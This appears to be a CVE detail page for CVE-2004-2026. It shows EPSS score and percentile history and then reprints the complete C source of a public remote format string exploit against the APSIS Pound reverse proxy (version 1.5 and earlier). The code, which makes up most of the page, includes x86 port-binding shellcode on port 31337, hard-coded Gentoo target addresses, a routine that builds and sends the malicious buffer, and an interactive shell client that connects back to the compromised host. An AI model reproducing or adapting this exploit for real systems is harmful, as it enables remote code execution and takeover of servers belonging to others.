CVE-2004-2026 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	20.1%	–	–
2022-04-03	–	–	20.1%	–	–
2023-03-12	–	–	–	21.24%	–
2023-09-03	–	–	–	16.18%	–
2024-01-28	–	–	–	16.18%	–
2024-06-02	–	–	–	12.11%	–
2024-10-13	–	–	–	12.11%	–
2024-12-22	–	–	–	15.01%	–
2025-01-19	–	–	–	15.01%	–
2025-03-18	–	–	–	–	21.97%
2025-03-18	–	–	–	–	21.97,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	94%
2022-04-03	96%
2023-03-12	96%
2023-09-03	95%
2024-01-28	96%
2024-06-02	95%
2024-10-13	96%
2024-12-22	96%
2025-01-19	96%
2025-03-18	95%
2025-03-18	95%

// source: https://www.securityfocus.com/bid/10267/info APSIS Pound has been found to be prone to a remote format string vulnerability. The problem presents itself when Pound handles certain requests containing embedded format string specifiers. Ultimately this vulnerability could allow for execution of arbitrary code on the system implementing the affected software, which would occur in the security context of the server process. /* Pound <=1.5 remote format string exploit (public version) by Nilanjan De - n2n@front.ru Eye on Security Research Group, India, http://www.eos-india.net Vendor URL: http://www.apsis.ch/pound/ Local exploit is only useful is pound is setuid The shellcode used doesn't break chroot if you need to break chroot, use a different shellcode To find jmpslot: For remote: objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1 for local: objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1 Note: In case of remote exploit, since the exploit occurs in one of the threads, you may need to modify this exploit to brute-force the RET address to make the exploit work. Since pound runs in daemon mode, brute forcing it is no problem. */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #define PORT 8888 #define BUFSIZE 1024 #define NOP 0x90 #define POUND "/usr/sbin/pound" #define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;\n" #define LOCALHOST "127.0.0.1" typedef enum {LOCAL,REMOTE} type_t; struct target { char *arch; unsigned long jmpslot; unsigned long ret; unsigned int align; unsigned int offset; type_t type; } targets[]= { {"Gentoo - Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE}, {"Gentoo - Pound 1.5 local",0x08055618,0xbffff410,1,11,LOCAL}, {NULL,0x00,0x00,0,0,0} }; /* x86 linux fork+portbind shellcode(port 31337) */ char shellcode[]= /* sys_fork() */ "\x31\xc0" // xorl %eax,%eax "\x31\xdb" // xorl %ebx,%ebx "\xb0\x02" // movb $0x2,%al "\xcd\x80" // int $0x80 "\x38\xc3" // cmpl %ebx,%eax "\x74\x05" // je 0x5 /* sys_exit() */ "\x8d\x43\x01" // leal 0x1(%ebx),%eax "\xcd\x80" // int $0x80 /* setuid(0) */ "\x31\xc0" // xorl %eax,%eax "\x31\xdb" // xorl %ebx,%ebx "\xb0\x17" // movb $0x17,%al "\xcd\x80" // int $0x80 /* socket() */ "\x31\xc0" // xorl %eax,%eax "\x89\x45\x10" // movl %eax,0x10(%ebp)(IPPROTO_IP = 0x0) "\x40" // incl %eax "\x89\xc3" // movl %eax,%ebx(SYS_SOCKET = 0x1) "\x89\x45\x0c" // movl %eax,0xc(%ebp)(SOCK_STREAM = 0x1) "\x40" // incl %eax "\x89\x45\x08" // movl %eax,0x8(%ebp)(AF_INET = 0x2) "\x8d\x4d\x08" // leal 0x8(%ebp),%ecx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x89\x45\x08" // movl %eax,0x8(%ebp) /* bind()*/ "\x43" // incl %ebx(SYS_BIND = 0x2) "\x66\x89\x5d\x14" // movw %bx,0x14(%ebp)(AF_INET = 0x2) "\x66\xc7\x45\x16\x7a\x69" // movw $0x697a,0x16(%ebp)(port=31337) "\x31\xd2" // xorl %edx,%edx "\x89\x55\x18" // movl %edx,0x18(%ebp) "\x8d\x55\x14" // leal 0x14(%ebp),%edx "\x89\x55\x0c" // movl %edx,0xc(%ebp) "\xc6\x45\x10\x10" // movb $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16) "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 /* listen() */ "\x40" // incl %eax "\x89\x45\x0c" // movl %eax,0xc(%ebp) "\x43" // incl %ebx "\x43" // incl %ebx(SYS_LISTEN = 0x4) "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 /* accept() */ "\x43" // incl %ebx "\x89\x45\x0c" // movl %eax,0xc(%ebp) "\x89\x45\x10" // movl %eax,0x10(%ebp) "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x89\xc3" // movl %eax,%ebx /* dup2() */ "\x31\xc9" // xorl %ecx,%ecx "\xb0\x3f" // movb $0x3f,%al "\xcd\x80" // int $0x80 "\x41" // incl %ecx "\x80\xf9\x03" // cmpb $0x3,%cl "\x75\xf6" // jne -0xa /* execve() */ "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80"; // int $0x80 int connect_to(char *host, unsigned int port) { struct hostent *h; struct sockaddr_in sin; int sock; if((h=gethostbyname(host))==NULL) { printf("- Error: Unable to resolve %s\n",host); exit(EXIT_FAILURE); } printf("+ Resolved %s\n",host); sin.sin_addr=*((struct in_addr *)h->h_addr); sin.sin_family=AF_INET; sin.sin_port=htons((u_short)port); if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0) { perror("socket");exit(EXIT_FAILURE); } if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0) { perror("connect");exit(EXIT_FAILURE); } printf("+ Connected\n"); return sock; } int sh(int sockfd) { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; strcpy(snd, COMMAND "\n"); write(sockfd, snd, strlen(snd)); for (;;) { FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1; select(maxfd, &rset, NULL, NULL, NULL); if (FD_ISSET(fileno(stdin), &rset)) { bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if (FD_ISSET(sockfd, &rset)) { bzero(rcv, sizeof(rcv)); if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) { printf("+ Good Bye!\n"); return 0; } if (n < 0) { perror("read"); exit(EXIT_FAILURE); } fputs(rcv, stdout); fflush(stdout); } } } void usage(char *progname) { int i; printf("Usage: %s <type> [RemoteHost]\n",progname); printf("Available types:\n"); for(i=0;targets[i].arch!=NULL;i++) { printf("\t%d\t-\t%s\n",i,targets[i].arch); } exit(EXIT_FAILURE); } int testifworked() { } int main(int argc,char **argv) { char *victim; int s; int i; int high,low; unsigned int port=PORT; struct target *t; char buf[BUFSIZE]; if(argc<2) usage(argv[0]); i=atoi(argv[1]); if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1)) { printf("- Invalid target type\n"); exit(EXIT_FAILURE); } t=&targets[i]; high=(t->ret & 0xffff0000) >> 16; low=(t->ret & 0x0000ffff); memset(buf,NOP,BUFSIZE-1); buf[BUFSIZE-1]=0; if(t->type==REMOTE) { if(argc<3) usage(argv[0]); victim=argv[2]; } if(high>low) { *((unsigned long *)(buf+t->align))=t->jmpslot; *((unsigned long *)(buf+t->align+4))=t->jmpslot+2; } else { *((unsigned long *)(buf+t->align))=t->jmpslot+2; *((unsigned long *)(buf+t->align+4))=t->jmpslot; high^=low^=high^=low; } buf[t->align+9]=0; if(t->type==REMOTE) low-=0x16+t->align; else low-=0x28+t->align; i=snprintf(buf+t->align+9,BUFSIZE-1,"%%%dx%%%d$hn%%%dx%%%d$hn",low,t->offset,high-low,t->offset+1); buf[t->align+9+i]=NOP; memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode)); buf[BUFSIZE-3]=buf[BUFSIZE-5]='\r'; buf[BUFSIZE-2]=buf[BUFSIZE-4]='\n'; if(t->type==LOCAL) { if(!fork()) { execl(POUND,"pound","-f",buf,0); perror("exec");exit(EXIT_FAILURE); } victim=LOCALHOST; } else { printf("+ Connecting to victim\n"); s=connect_to(victim,port); printf("+ Attach?"); scanf("%c",&i); printf("+ Sending evil buffer\n"); if(send(s,buf,BUFSIZE,0)!=BUFSIZE) { perror("send");exit(EXIT_FAILURE); } close(s); } sleep(1); printf("+ Checking if exploit worked\n"); s=connect_to(victim,31337); sh(s); exit(EXIT_SUCCESS); }